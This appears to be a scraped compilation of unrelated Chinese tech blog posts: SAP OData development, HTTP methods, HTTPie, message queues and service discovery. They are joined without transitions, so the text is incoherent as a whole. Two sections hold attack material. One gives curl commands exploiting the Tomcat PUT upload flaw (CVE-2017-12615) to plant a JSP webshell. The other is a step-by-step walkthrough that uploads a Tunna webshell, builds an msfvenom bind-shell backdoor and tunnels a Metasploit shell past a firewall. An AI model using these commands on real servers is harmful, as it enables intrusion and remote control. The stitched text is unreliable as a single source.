要获取更多Jerry的原创技术文章,请关注公众号"汪子熙"或者扫描下面二维码:
「深度学习福利」大神带你进阶工程师,立即查看>>> OData(Open Data Protocol)协议是一个开放的工业标准,用于定义RESTFul API的设计和使用。我的文章标题前加上SAP的前缀,只是为了表明这篇文章介绍的是Jerry在SAP项目开发中使用到OData的一些心得和经验。 目前OData被广泛用于SAP Business Suite和SAP S/4HANA的众多Fiori应用中,以及SAP Customer Engagement Center和一些正在开发的新一代云产品中。此外OData也是SAP Cloud for Customer推荐的一种将C4C和客户第三方应用集成的技术手段。关于这种集成方式,在我的另一篇文章里有所介绍: SAP S4CRM vs C4C, 诸葛亮和周瑜? 本文会从OData服务的实现和消费这两个方面来介绍,目录如下: 在SAP Business Suite中进行OData开发 在SAP S/4HANA中进行OData开发 使用ABAP代码消费OData服务 使用Java代码 + Apache Olingo消费OData服务 使用UI5消费OData服务 OData性能测试 C4C中的OData应用 XS OData Services 更多阅读 在SAP Business Suite中进行OData开发 以SAP CRM为例。SAP对于很多Fiori应用都贴心地提供了可以云端试用的版本,通过如下链接访问: https://www.sapfioritrial.com/ 点击链接之后,在Fiori Launchpad里能看到CRM目录下存在若干Tile,它们是SAP成都研究院CRM Fiori开发团队负责开发和维护的,Jerry也曾经是这个团队的一员。随便点击一个Tile, 比如My Opportunities: 然后我们能看到该应用的明细页面了。在Chrome开发者工具的Network标签页,我们能观察到一个对于metadata的请求: 关于Chrome开发者工具的使用技巧,Jerry曾经做过整理,单独写在另一篇文章里: Jerry和您聊聊Chrome开发者工具 我们把这个metadata请求的url从Chrome开发者工具里拷贝出来,完整链接如下: https://www.sapfioritrial.com/sap/opu/odata/sap/CRM_OPPORTUNITY/$metadata?sap-language=en&sap-client=001 直接在浏览器里访问这个链接,就能观察到包含在链接里名为 CRM_OPPORTUNITY 的OData服务的metadata(元数据)。我们可以把一个OData服务的模型类比成一个SAP Business Object,该模型同样由一个根节点和若干子节点组成,每个节点包含若干字段。某些节点提供了一些可以执行的逻辑,在OData协议里称这些逻辑为function import(相当于Business Object里的action)。不同节点之间通过定义Navigation建立关联关系——SAP基于Netweaver的不同产品的建模方式思路都类似,可以触类旁通。 另一个重要的请求: https://www.sapfioritrial.com/sap/opu/odata/sap/CRM_OPPORTUNITY/Opportunities?$skip=0&$top=20&$inlinecount=allpages&sap-client=001 在Jerry的另一篇文章 SAP UI 搜索分页技术 里已经对这个请求做过分析: **$skip=0&$top=20:**通知后台执行分页搜索,只将满足查询条件的前20条记录从数据库取出,返回给UI。 $inlinecount=allpages : 返回数据库满足搜索条件的记录数。因为Jerry未指定搜索条件,所以返回系统里Opportunity的总个数1051。 下面简单介绍SAP Business Suite系统里如何开发OData模型和服务。 在动手开发前,我们需要先温习Fiori的架构。 在我的文章 SAP Fiori应用的三种部署方式 里提到过这张图: 谈到Fiori开发时,就这张图而言,可以总结成两句话: 1. 在ABAP Back-End服务器上做OData模型和服务的开发 2. 在ABAP Front-End服务器上做OData服务的注册,以便让Fiori应用能够消费 首先我们到ABAP Back-End服务器上,使用事务码SEGW打开CRM_OPPORTUNITY这个OData服务。可以看到Data Model里包含了很多节点,每个节点实际上由一个ABAP DDIC Structure实现,节点上的每个字段对应着Structure上的字段。我们定义好OData模型包含哪些Structure之后,点击工具栏的Generate Runtime Objects按钮: SAP Gateway框架就会基于我们定义的OData模型,自动生成4个ABAP类和两个模型。 **MPC和MPC_EXT:**当消费者访问该服务的metadata时,这两个类负责把通过ABAP DDIC Structure描述的metadata信息转换成OData协议规范的格式并返回。每次开发人员修改OData模型,点击Generate按钮后,MPC的代码都会重新生成。如果开发人员需要在模型上添加一些额外信息,比如一些版本控制信息或者相关注解(annotation),那么需要在MPC_EXT里通过ABAP代码实现。MPC_EXT是MPC的子类,其代码不会被Generate按钮覆盖。一个例子如下: **DPC和DPC_EXT:**包含了OData服务的实现,实际上也就是基于OData模型的CRUD操作,搜索操作和function import的实现。以Opportunity为例,因为该模型底层使用的是CRM One Order模型,所以DPC_EXT里包含了大量CRM_ORDER_*等函数调用,CRM顾问朋友们对这些函数应该非常熟悉。 在ABAP Back-End服务器做好OData开发后,登陆ABAP Front-End服务器,使用事务码**/IWFND/MAINT_SERVICE**将后台服务器做好的OData服务进行注册。 下图是OData服务在ABAP Front-End服务器的注册界面。从下图能看出理论上一台ABAP Front-End服务器可以连接多台ABAP Back-End服务器, SAP把这种1:N的关系称为 Multiple Origin Composition ,典型的使用场景比如一家跨国企业,其美洲分公司的应用运行于Back-End服务器1,欧洲分公司位于Back-End服务器2。一个销售经理使用Fiori应用查看该企业某个时间段内 全球 的销售数据,则其OData实现会将这两台服务器的后台数据搜集起来,进行汇总并返回给UI。具体细节请参考SAP帮助文档: https://help.sap.com/doc/saphelp_hba/1.0/en-US/dd/f1ceb93a7d48fab4aa16efebc90e02/frameset.htm 关于SEGW更多开发细节,可以参考我的SAP同事环宇的公众号文章: 十分钟手把手系列之SEGW Project入门 环宇有一个名为 Fiori 的公众号,介绍的全是Fiori知识。感兴趣的朋友可以关注一下。 在S/4HANA中进行OData开发 在我的公众号文章 Hello World, S/4HANA for Customer Management 1.0 里提到,CDS view是S/4HANA里一个重要的建模方式。 我们还是来看个具体的例子。假设需要在S/4HANA里开发一个管理Service Order的Fiori应用,功能暂定为支持对Service Order的只读操作,即查询和浏览。借助S/4HANA的CDS view建模技术,我们不需要写一行JavaScript,就可以自动生成一个满足需求的Fiori应用,听起来是不是很神奇? 我们需要创建一个CDS view,用它来自动生成OData的模型和服务,即下图绿色的Z_C_Service_Order_View。该View又从其他更底层的CDS view取数据,将Service Order的抬头,行项目,状态信息等数据聚合在一起。 CDS view开发完毕后,只需要在事务码SEGW里将其通过Reference->Data Source加载进去:
就可以自动生成OData模型,以及前一章节提到的MPC和DPC各两套一共4个ABAP Class,分别对应下图蓝色和红色区域所示,无需应用开发人员再写ABAP代码。 然后用SAP WebIDE创建一个新的Fiori应用,注意创建时不要使用普通的SAPUI5 Application模板,而采用Smart Template Application模板。在创建向导里指定之前基于CDS view自动生成的OData服务。 点击向导的Finish按钮,最终不用写一行JavaScript代码,就得到这样一个Fiori应用: 上图提到的CDS view的源代码,以及Smart Template的工作原理,都在我的博客里: Create a CRM Service Order Fiori application within a couple of minutes 更进一步,如果想给这个自动生成的Fiori应用增添一些功能,例如支持对Service Order的 修改 和 创建 操作,请按照我的另外两篇博客去实现: Enable CRM Service Order application with edit functionality Enable CRM Service Order application with create functionality 值得一提的是,在CDS view里有一个强大的注解: @OData.publish: true 和SpringBoot的注解能实现很多神奇的功能一样,被该注解定义过的CDS view,能够不借助SEGW的帮助,自动生成OData模型和服务,进一步简化了开发人员做OData开发需要的配置,有助于开发人员快速构建出标准化的OData服务。 @OData.publish这个注解的实现原理,请参考我的CDS view自学教程系列的第4部分: Part 4 how does annotation @OData.publish work OData服务的消费 前面说了这么多都是OData模型和服务的开发,现在来谈谈如何消费。 使用ABAP代码消费OData服务 以消费C4C Opportunity的标准OData服务为例。 首先在postman里搞清楚如何使用HTTP Post加上OData的$batch操作来创建Opportunity: 其实最主要的工作量就是把$batch操作的一整套流程用ABAP代码实现。$batch请求的body通过下图代码里insert_line这个自定义宏操作的一系列字符串去填充。 因为ABAP Netweaver既可作为Web Server,又可作为Web Client,所以使用ABAP代码消费OData这种RESTFul API,实质上是利用了IF_HTTP_CLIENT的SEND和RECEIVE方法,进行网络请求的发送和接收。 我在SAP Community上写过一个用ABAP代码消费OData服务的教程: Consume standard C4C OData service via ABAP code 使用Java代码 + Apache Olingo消费OData服务 相信大多数开发人员都不愿意像下面的代码这样直接操作OData $batch body,既麻烦又容易出错。 于是在Java里就有了Apache Olingo,一个开源库,您可以把它当成OData的Java SDK,封装了OData底层的细节。$batch操作需要填充的BatchChangeSet和BatchChangeSetPart在Olingo里都有了对应的类进行封装,看看下图使用Java代码调用OData服务进行ServiceTicket 的创建,和上图ABAP代码进行比较,是不是从语义上看清晰了很多? 上图的完整Java代码,参考我的 github 使用UI5消费OData服务 在SAP UI5官网上能找到详细的API说明。 Jerry只补充两点原创内容。 1. UI5 OData API的同步和异步参数。
2015年6月时,我和德国一位负责Quality的同事就这个话题在半小时的电话会议里产生了争执。因为时间有限,我没能在电话里说服他,所以就有了这篇博客。德国同事看了之后,同意了我的意见。具体细节参考博客: A Test on Fiori OData request Synchronous mode VS Asynchronous mode 下图是5个请求以同步模式发出在Chrome开发者工具Network标签页中观察到的时序: 下图是5个请求以异步模式发出: 2. 在SAP云平台的CloudFoundry环境下消费ABAP On-Premise OData服务 场景:在微信里消费On-Premise系统的OData服务。 详细步骤已经在我之前的 微信公众号文章 介绍过了。 OData性能测试 1. 使用Netweaver提供的性能测试工具 详细介绍参考我的博客: How to find OData performance trace and payload trace functionality 2. 使用JMeter测试OData服务在高并发场景下的性能指标 在Jerry工作过的客户项目里,很多客户提出了这种性能测试要求,比如同时发起1000个Service Request的OData创建请求,测量其平均响应时间。 Jerry在这两篇博客里介绍了两种办法: (1) 自己写Java代码,用多线程编程技术,每个线程发起一个OData创建请求,自己度量平均响应时间。 (2) 使用性能测试神器JMeter,这样一行代码都不用写。 两种办法的具体介绍参考我的博客: JMeter beginner – how to use JMeter to measure performance of OData service accessed parallelly OData service parallel performance measurement – how to deal with XSRF token in Java Program and JMeter Kapsel OData plugin原理讲解 SAP移动解决方案的Offline(离线)模式使用了Kapsel OData plugin,用于将业务数据从后台系统抽取出来,保存于设备本地的离线存储区域。 关于其工作原理,参考Jerry做过的三个维度的分析: How is OData request routed to Offline data store by Odata offline plugin How is JavaScript code in OData offline plugin delegated to native Java code in Android How is OData offline store opened in Android platform C4C中的OData应用 Jerry做过的C4C客户项目中对OData使用的一些分享: Leverage C4C Odata notification to monitor C4C Opportunity change in CRM system 使用场景:在C4C创建业务数据后,利用这篇博客介绍的用法,能自动发送一个通知给其他系统/应用。可以作为一种轻量级的系统集成方案。 Expose TextCollection data belonging to a Custom BO via OData service 该解决方案我提供给了一个Chinese C4C客户。 Expose Custom BO logic implemented by ABSL via Custom OData service 通过OData将用ABSL实现的自定义逻辑暴露给第三方应用。 C4C和微信集成系列教程 这个系列教程里,C4C和微信的交互,60%使用了C4C OData,40%使用了C4C Web Service。 XS OData Services HANA Studio里开发的HANA view也能通过HANA Extended Application Service暴露成OData服务。 据我的成都同事介绍,SAP Customer Engagement Center采用的就是这种方式。 更多介绍参考这篇SAP博客: HANA Development: XS OData Services 更多阅读 所有更多阅读的链接都已经分布在文章的每一章节,这里为阅读方便起见,将部分链接再次统一罗列如下: SAP UI 搜索分页技术 在SAP云平台的CloudFoundry环境下消费ABAP On-Premise OData服务 Jerry和您聊聊Chrome开发者工具 C4C和微信集成系列教程 Jerry的UI5框架代码自学教程 SAP Fiori应用的三种部署方式 Jerry的Fiori原创文章合集 Hello World, S/4HANA for Customer Management 1.0 SAP UI和Salesforce UI开发漫谈 SAP S4CRM vs C4C, 诸葛亮和周瑜? 那些年我用过的SAP IDE 要获取更多Jerry的原创技术文章,请关注公众号"汪子熙"或者扫描下面二维码:
「深度学习福利」大神带你进阶工程师,立即查看>>> 因此,有必要说明一下,为什么要禁止除GET和POST之外的HTTP方法。 换句话说,对于 这些HTTP不安全方法,到底有多不安全呢? 一、HTTP请求方法有哪些 根据HTTP标准,HTTP请求可以使用多种方法,其功能描述如下所示。 HTTP1.0定义了三种请求方法: GET、POST、HEAD HTTP1.1新增了五种请求方法:OPTIONS、PUT、DELETE、TRACE 、CONNECT 二、举例说明不安全的HTTP方法 众所周知,GET、POST是最为常见方法,而且大部分主流网站只支持这两种方法,因为它们已能满足功能需求。其中,GET方法主要用来获取服务器上的资源,而POST方法是用来向服务器特定URL的资源提交数据。而其它方法出于安全考虑被禁用,所以在实际应用中,九成以上的服务器都不会响应其它方法,并抛出404或405错误提示。以下列举几个HTTP方法的不安全性: 1、OPTIONS方法,将会造成服务器信息暴露,如中间件版本、支持的HTTP方法等。 2、PUT方法,由于PUT方法自身不带验证机制,利用PUT方法即可快捷简单地入侵服务器,上传Webshell或其他恶意文件,从而获取敏感数据或服务器权限。 3、DELETE方法,利用DELETE方法可以删除服务器上特定的资源文件,造成恶意攻击。 三、漏洞验证 (一)环境搭建 1、测试环境为:WIN10 64位、Tomcat 7.0.72、curl 7.49 2、在Tomcat 7默认配置中,web.xml文件的org.apache.catalina.servlets.DefaultServlet的 readonly参数默认是true,即不允许DELETE和PUT操作,所以通过PUT或DELETE方法访问,就会报403错误。为配合测试,把readonly参数设为false。 (二)漏洞利用 1、PUT上传和DELETE删除文件成功 在DefaultServlet的readonly参数为falsed的情况下,使用Curl进行测试,发现已能通过PUT上传和DELETE删除文件。 2、直接PUT上传.jsp失败 此时想直接上传webshell.jsp,但发现上传失败。 研究发现,原因是 在默认配置下,涉及jsp、jspx后缀名的请求由org.apache.jasper.servlet.JspServlet处理 ,除此之外的请求才由org.apache.catalina.servlets.DefaultServlet处理。 刚才将DefaultServlet的readonly设置为false,并不能对jsp和jspx生效。因此,当PUT上传jsp和jspx文件时,Tomcat用JspServlet来处理请求,而JspServlet中没有PUT上传的逻辑,所以会403报错。 3、利用漏洞成功上传WebShell 对于不能直接上传WebShell的问题,一般的思路是通过解析漏洞来解决,而不少中间件版本如IIS 6、TOMCAT 7等都出现过相关的漏洞。 在此测试环境中,利用Tomcat 7的任意文件上传漏洞(CVE-2017-12615)来实现目的,该漏洞 通过构造特殊后缀名,绕过tomcat检测,让它用DefaultServlet的逻辑处理请求,从而上传jsp文件 。具体来说,主要有三种方法,比如shell.jsp%20 、shell.jsp::$DATA 、shell.jsp/ 本次测试,使用第一种方法,在1.jsp后面加上%20,如此即可成功实现上传,并取得WebShell。 curl -X PUT http://127.0.0.1:8080/examples/1.jsp%20 -d “HelloJSP” 然后就直接挂马了,从下图可以看到成功上传webshell.jsp,并成功实现对服务器的控制。 四、如何自纠自查 从上面的Tomcat测试可以发现,虽然需在DefaultServlet的readonly参数为false前提下,才能实现渗透,但还是建议把除了GET、POST的HTTP方法禁止,有两方面原因: 1、除GET、POST之外的其它HTTP方法,其刚性应用场景较少,且禁止它们的方法简单,即实施成本低; 2、一旦让低权限用户可以访问这些方法,他们就能够以此向服务器实施有效攻击,即威胁影响大。 写到这里,也许大家都明白了,为什么要禁止除GET和POST外的HTTP方法,一是因为GET、POST已能满足功能需求,二是因为不禁止的话威胁影响大。 自纠自查方面 ,可以使用OPTIONS方法遍历服务器使用的HTTP方法。但要注意的是,不同目录中激活的方法可能各不相同。而且许多时候,虽然反馈某些方法有效,但实际上它们并不能使用。许多时候,即使OPTIONS请求返回的响应中没有列出某个方法,但该方法仍然可用。总的来说,建议手动测试每一个方法,确认其是否可用。 具体方法,举例说明,使用curl测试: 1、测试OPTIONS是否响应 ,并是否有 Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS curl -v -X OPTIONS http://www.test.com/test/ 2、测试是否能通过PUT上传文件 curl -X PUT http://www.test.com/test/test.html -d “test” 3、找一个存在的文件,如test.txt,测试是否能删除 curl -X DELETE http://www.example.com/test/test.text HTTP命令行工具——HTTPie Httpie 是什么 Httpie (aych-tee-tee-pie)是一个 HTTP 的命令行客户端。 其目标是让 CLI 和 web 服务之间的交互尽可能的人性化。你可以用它很方便的用 http 的命令调试接口,最常用的应该就是 GET 和 POST 了。 接口是什么 举个简单形象的例子,如果有一家宠物店卖动物口粮,比如猫粮狗粮,那么出售粮食就是一个接口,来的是猫就卖猫粮,来的是狗卖狗粮,以后来个什么鸡鸭鱼之类的只要修改一下这个出售粮食的方法即可。 如果没有接口,那么就要写好对猫怎么做,对狗怎么做,而且以后对鸡鸭鱼这些来了还要重新写对鸡怎么做等等等等……简而言之,接口可以让程序便于变化。 为什么要调试接口 最终的目的就是使接口稳定,没有 bug 。一般来说除了最基础的正常使用功能之外,还需要测试临界时的情况,比如说对处于可输入数据范围边界上的数据是否能够处理;还有性能测试,这部分就是使用资源的情况,接口响应时间等。 关于 Httpie 特点: 1、直观的语法 2、格式化和色彩化的终端输出 3、内置 JSON 支持 4、支持上传表单和文件 5、HTTPS、代理和认证支持 6、支持任意请求数据 7、自定义标题 8、持久性会话 9、类 Wget 下载 10、支持 Python 2.6, 2.7 和 3.x 11、支持 Linux, Mac OS X 和 Windows 12、插件 13、文档 14、测试覆盖率 Curl VS Httpie 我们首先用一张图来进行比对 Httpie 与 curl : curl 的使用方法 curl -X METHOD -H HEADER -i 后面的-i是表示显示返回消息的头部,如果你使用 cURL 访问 OpenStack,那么这个选项在获取 UUID 类型的 token 时必不可少。然后创建请求消息体,在使用 curl 来发送消息,会返回 json 消息体,但返回的 json 消息体比较混乱,不便阅读,如果想从返回的 json 消息体中获取一下信息是比较困难的。 Httpie的使用方法 HTTPie 基于 python 编写,内部使用了 Requests 和 Pygments 库。 HTTPie 的用法要比 cURL 直观很多,没有那么多选项,基本上心里怎么想就怎么写,默认输入和输出都是 json 格式 (而 cURL 必须要指定 -H “Content-Type: application/json”)。我们同样实现上面获取 token 的功能,效果如下: 很明显的能看出,使用 Httpie 所得到的结果结构的清晰明了,它对返回的结果自动做了高亮和格式化。 通过HTTP进行交互式绑定 介绍 当我们仅仅利用现有的网络服务器,并且需要一个交互式shell时,由于网络没有开放端口,唯一的办法是通过web服务器上的http端口进行操作,即利用现有的网络服务器在HTTP内部传输流量。 关于这个问题之前有一些混乱的解决方案,有些甚至是靠运气开放的端口。因此,我们需要的是一种更通用的方法,每次使用webshell时都可以使用。 我们首先开始编写工具webtunfwd,它负责在我们攻击的机器上的本地端口上监听,当我们连接到本地端口时,它会将内容socket.recv发送到具有POST请求的web服务器。然后,网络服务器将接收该POST请求内发送的任何内容,并将其送入受害者的套接字连接。 下图是来自Tunna项目的github: 下面是该过程的一个简单介绍: 攻击者上传webtunfwd.php到受害者服务器victim:80/webtunfwd.php 攻击者上传恶意软件或监听的meterpreter bindshell localhost:20000 受害者正在被监听localhost:20000 webtunfwd.php?broker连接到localhost:20000并保持连接打开 webtunfwd.php?broker从套接字读取并将其写入我们将调用的临时文件out.tmp webtunfwd.php?broker从我们将调用的tempfile中读取in.tmp并写入套接字 现在我们的webtunfwd.php?broker已经在受害方处理了套接字连接,并一直保持打开状态。我们现在需要分别从两个文件in.tmp和out.tmp中读取数据到我们使用的攻击机器。 下面是由我们的python脚本处理的local.py: 攻击者local.py在他的监听端口的机器上运行localhost:11337 攻击者连接到meterpreter客户端localhost:11337 当local.py接收连接时,它创建2个线程。一个用于阅读,另一个用于写作 读取的线程从套接字读取并通过in.tmp创建带有数据的POST请求写入webtunfwd.php?write 写入线程out.tmp通过创建GET请求webtunfwd.php?read并写入套接字来读取数据 因此,通过此代码,我们现在可以通过HTTP进行动态端口转发,并且可以在我们想要的服务器上运行任何有效负载。 我们需要做的第一件事就是克隆git仓库,在攻击的机器上运行:git clone https://github.com/SECFORCE/Tunna 在这个项目中我们有很多文件。我们将要使用的是proxy.py,然后是webshells,为了让Tunna工作,首先要上传webshell到webshells文件夹中,我们会发现conn.aspx-使用正在利用的漏洞将webshell送到机器上,现在我们将conn.aspx放置在http://victim.com/conn.aspx。 Tunna已经安装并可以使用。 生成有效载荷 我们现在要通过metasploit来生成后门(backdoor),这是一个简单的shell。这个shell将会监听localhost:12000哪些可能是本地主机上的任何端口,因为我们将通过它连接到它Tunna。 由于我们想在运行ASPX的Windows服务器上运行我们的shell,因此我们将使用ASPX格式构建我们的后门程序MSFVENOM。 我们使用以下命令: msfvenom --platform Windows -a x64 -p windows/x64/shell/bind_tcp LPORT=12000 LHOST=127.0.0.1 -f aspx --out shell.aspx 这其中: --platform 目标平台 -a 目标架构 -p 有效负载使用 LPORT 在目标上监听什么端口 LHOST 我们正在监听的IP地址 -f 有效载荷的输出格式 --out 在哪里保存文件 运行这个命令后,我们现在已经有了shell.aspx。 所以现在我们假设有以下两个文件可用: http://victim.com/conn.aspxhttp://victim.com/shell.aspx 发起攻击 Tunna被上传到服务器,我们的后门也准备好了,一切都安装好了之后就可以开始发起攻击。 我们要做的第一件事就是访问http://victim.com/shell.aspx,现在可以看到我们的shell在运行后在攻击机器上监听端口12000netstat -na: 下面有两项操作来实现连接,第一个是我们来自Tunna的proxy.py,第二个是我们用于连接的metasploit控制台。 首先,我们使用以下命令将本地端口10000转发到远程主机上的端口12000: python proxy.py -u http://target.com/conn.aspx -l 10000 -r 12000 -v --no-socks 这其中: -u - 带有上传的webshell路径的目标网址 -l - 在攻击机器上侦听的本地端口 -r - 在受害者机器上连接的远程端口 -v - 详细 --no-socks - 只需要端口转发 当它等待连接时,输出将如下所示: 攻击机器现在在端口10000上进行本地监听,我们可以通过metasploit连接到它。 为了做到这一点,我们可以按照以下方式配置metasploit: 之后,我们进入run。现在可以得到一个shell:
结论 用HTTP封装完整的TCP连接可以避开严格的防火墙等,我们可以用想要的任何东西来代替正常的shell,Tunna只是为我们转发端口而已。 更多: cURL vs HTTPie on the Command Line for HTTP APIs: https://www.ctl.io/developers/blog/post/curl-vs-httpie-http-apis\ 「深度学习福利」大神带你进阶工程师,立即查看>>> 摘要: 梨视频大部分的业务都选择了阿里云,其中一个主要原因是阿里云提供基于钉钉群构建的24贴身技术支持,刘隽表示,这种服务模式可以更充分、高效的对接需求,快速得到反馈,这也让梨视频的同学有信心去尝试一些新的方案。 在上海云栖大会视频专场中,梨视频CTO刘隽先生分享了梨视频拍客生产全流程及其背后的技术,同时作为业务使用方,向现场嘉宾阿里云产品的使用实践。 云上拍客梨视频 梨视频是全球第一资讯短视频内容生产和消费平台,拥有5万名全球核心拍客,遍布全球七大洲,覆盖525个国际主要城市和2000多个国内区县。通过报题、派题全流程流转和30分钟响应,实现日均生产1500条资讯短视频,日均全网VV高达10亿。 对于梨视频来说,调度和分发能力至关重要。刘隽表示,在如此大体量的生产强度下,梨视频从上线至今,没有出现一条出现内容偏差,它背后就是靠SPIDER全流程管理系统来支持。整个流程从拍客上传素材开始,后方统筹和拍客主管会进行审核求证,素材剪辑完成后再进行稿件审核与自动化包装。整套流程支持了五万拍客,每天1000条的产量。在传统媒体中,可能需要1500人才能实现同等的产量,成本可能会高10倍。 刘隽表示,我们是在一个特别的时代,在做技术方案调研的时候,就有很成熟的云上的解决方案。梨视频整个技术团队(含测试)只有30个人,用3个月的时间就将APP上线,还包括整个后台系统、大数据平台和智能推荐。所以在他看来,基于云来思考,做技术选型和技术实践,是这么小的团队在如此短的时间做这么多的事情的先决条件。 基于云架构的全套架构实践 梨视频整套的视频点播、直播的方案都是基于阿里视频云构建的,非常少的代码就可以实现视频的转码、存储和分发。 同时,梨视频大数据推荐系统基于阿里云的LogStore和EMR构建,因为有了EMR,五个人的大数据团队就能够实现非常精准、高效的智能推荐的业务。 而自动化包装系统,则是基于阿里云GPU的算力构建,平台编辑只需要去做内容,包装系统负责进行片头、片尾、角标处理等,根据不同平台会有不同的自动化包装方案。 另外,梨视频APP中拍客的采集、上传是基于阿里云的短视频SDK来构建解决的,可以实现手机端的快速视频个性化采集能力,让拍客随时随地记录新闻。 梨视频大部分的业务都选择了阿里云,其中一个主要原因是阿里云提供基于钉钉群构建的24贴身技术支持,刘隽表示,这种服务模式可以更充分、高效的对接需求,快速得到反馈,这也让梨视频的同学有信心去尝试一些新的方案。 在分享的最后,刘隽表示梨视频在未来会基于阿里云等合作伙伴,用技术提升生产效率,让视频的处理更加智能,为用户呈现更多有营养的资讯短视频。 原文链接 「深度学习福利」大神带你进阶工程师,立即查看>>> 场景介绍 一个消息队列(MQ)存储的消息,可以包含不同实际用途。如果这些消息不加区分,消费者每次消费都会按顺序拉取消息,直到完成对所有消息的消费。如果消费者只对某一类型的消息感兴趣,那么将所有消息都消费一遍必会影响消费者处理效率。 解决方案 分布式消息服务DMS 是稳定可靠的消息队列服务,提供普通队列、有序队列、Kafka、ActiveMQ、RabbitMQ,兼容HTTP、TCP、AMQP协议,应用于系统解耦、异步通信、流量削峰去谷、第三方集成等场景。DMS提供消息标签的能力,支持生产者为每条消息提供一个或多个标签(tag)。标签(tag)是用来区分某个 消息队列(MQ) Topic 下的消息分类,通常情况下,标签(tag)可以用来区分同一个 Topic 下相互关联的消息,就像全集和子集的关系,流程先后的关系。消费者则根据标签(tag)的内容来过滤消息,确保每个消费者最终只会消费到它感兴趣的消息类型,提高消息消费效率。 以金融交易场景为例,在一种交易中可能会产生多种类型的消息,如股票(stock),基金(fund),贷款(loan)等。这些消息会通过交易(business)Topic发送到business_Topic 的队列(MQ)中,并传递给不同的处理系统,如股票系统,基金系统,贷款系统,实时分析系统等。然而基金系统只关心基金类型的消息,而实时分析系统可能需要获取到所有类型的消息,如下图所示: 在生产消息时,生产者对每条消息加上标签(tag),消费者在拉取消息时决定是否仅获取带有某标签(tag)的消息,没有被指明标签(tag)的消息则不会获取,从而大大提高了消息消费效率。如下图所示: 增加标签(tag)的消息消费示意图 DMS普通队列与FIFO队列均支持消息标签(tag)功能,使用DMS服务,轻松利用消息标签实现消息过滤。想要了解DMS的更多其他特性和功能,欢迎点击 分布式消息服务DMS 查看。 「深度学习福利」大神带你进阶工程师,立即查看>>> 摘要: 一个好的服务注册发现中间件,应该是能完整地满足服务开发和治理的基础功能,然后才是性能和高可用。如果没有想清楚前面的功能,再高的可用性和性能都是浮云。最后,安全也同样重要。下面将从 服务注册、服务发现、容灾和高可用三个大方面来回答这些问题的主流做法。 引言 聊起微服务的服务注册与发现,很多人立马就会脱口而出 zk、etcd、consul、eureka 这些组件,进而聊到 CAP 如何取舍,性能如何,高可用和容灾是怎么实现的。 在这之前,站在组件使用者的角度,我想先问这么几个问题: 注册的 IP 和端口怎么确定 ? 实现服务治理还需要注册哪些信息 ? 如何进行优雅的服务注册与服务下线 ? 注册服务的健康检查是如何做的 ? 当服务有节点退出或新的节点加入时,订阅者能不能及时收到通知 ? 我能方便地查看某个应用发布和订阅了哪些服务,以及所订阅的服务有哪些节点吗 ? 看完这些问题后,您也许会发现,对于服务注册与发现,首先应该关注的是服务注册发现本身的功能,然后才是性能和高可用。 一个好的服务注册发现中间件,应该是能完整地满足服务开发和治理的基础功能,然后才是性能和高可用。如果没有想清楚前面的功能,再高的可用性和性能都是浮云。最后,安全也同样重要。 服务端的性能如何 ? 服务发现的容灾策略是怎样的 ? 当我的应用和服务发现中心的网络连接出现问题时,会对我的调用产生什么影响 ? 服务注册中心某台机器宕机或者全部宕机时,会对我的调用产生什么影响 ? 服务注册和发现的链路安全吗,有没有做好权限控制 ? 下面将从 服务注册、服务发现、容灾和高可用三个大方面来回答这些问题的主流做法。 最后会介绍一下 ANS(Alibaba Naming Service) , ANS 综合了这些解决方案中的优点,并在 EDAS(阿里巴巴企业级分布式应用服务) 中输出,目前完全免费! 服务注册 注册的 IP 和端口怎么确定 ? IP 如何确定 主流的 IP 获取有这几种方法。 最简单粗暴的方式,手动配置需要注册的IP。当然这种方式基本无法在生产环境使用,因为微服务基本都是支持水平扩容多机部署的,在配置中写死 IP 地址的方式无法支持一份代码水平扩容,会给运维带来极大的成本。 通过遍历网卡的方式去获取,找到第一个不为本地环回地址的 IP 地址。绝大多数情况下,这个方式比较好用,dubbo 等框架采用的就是这种方法。 在一些网络规划比较好的标准化机房中,我们还可以通过手动指定网卡名,即 interfaceName 的方式来指定使用哪一块网卡所对应的 IP 地址进行注册。 当上述三种方式都不能有效解决问题的时候,有一个方法就是直接与服务注册中心建立 socket 连接,然后通过 socket.getLocalAddress() 这种方式来获取本机的 IP。 端口如何确定 端口的获取,没有标准化的方案。 如果是 RPC 应用,启动的时候都有一个配置来指定服务监听的端口, 注册的时候直接使用配置项的端口值。 传统的 WEB 容器所提供的 HTTP 的应用,同样也存在一个配置文件来配置容器的监听端口,注册时候直接使用配置项的端口值。 特别的,在 Java 应用的 Spring Boot 框架中,可以通过 EmbeddedServletContainerInitializedEvent. getEmbeddedServletContainer().getPort() 来获取。(Spring Boot 版本为 1.x)。 实现服务治理还需要注册哪些信息 ? 简单地将 IP 和 port 信息注册上去,可以满足基本的服务调用的需求,但是在业务发展到一定程度的时候,我们还会有这些需求: 想知道某个 HTTP 服务是否开启了 TLS。 对相同服务下的不同节点设置不同的权重,进行流量调度。 将服务分成预发环境和生产环境,方便进行AB Test功能。 不同机房的服务注册时加上机房的标签,以实现同机房优先的路由规则。 这些高级功能的实现,本质上是依赖于客户端调用时候的负载均衡策略和调用策略,但是如果服务元数据没有注册上来,也只能是巧妇难为无米之炊。一个良好的服务注册中心在设计最初就应该支持这些扩展字段。 如何进行优雅的服务注册与服务下线 ? 优雅发布 虽然服务注册一般发生在服务的启动阶段,但是细分的话,服务注册应该在服务已经完全启动成功,并准备对外提供服务之后才能进行注册。 有些 RPC 框架自身提供了方法来判断服务是否已经启动完成,如 Thrift ,我们可以通过 Server.isServing() 来判断。 有一些 RPC 框架本身没有提供服务是否启动完成的方式,这时我们可以通过检测端口是否已经处于监听状态来判断。 而对于 HTTP 服务,服务是否启动完毕也可以通过端口是否处于监听状态来判断。 特别的,在 Java 应用的 Spring Boot 框架中,可以通过事件通知的形式来通知容器已经启动完毕, EmbeddedServletContainerInitializedEvent 事件来通知容器已经启动完成 (Spring Boot 版本为 1.x)。 优雅下线 绝大多数的服务注册中心都提供了健康检查功能,在应用停止后会自动摘除服务所对应的节点。但是我们也不能完全依赖此功能,应用应该在停止时主动调用服务注册中心的服务下线接口。 在 Java 应用中,通用的服务下线接口调用一般使用 JVM Shutdown Hook 的方式来实现。 特别的,在 Java 应用中的 Spring 框架中,可以通过 Spring Bean LifeCycle 来实现应用停止时主动调用服务下线接口。 当然上述两种方式还不够优雅,因为不能确保不出现 kill -9 这种粗暴的停止方式,而且应用调用服务下线接口也是尝试去调用,对于网络不通等异常场景并没有做异常处理。因此,调用客户端仍应该做好负载均衡与 failover 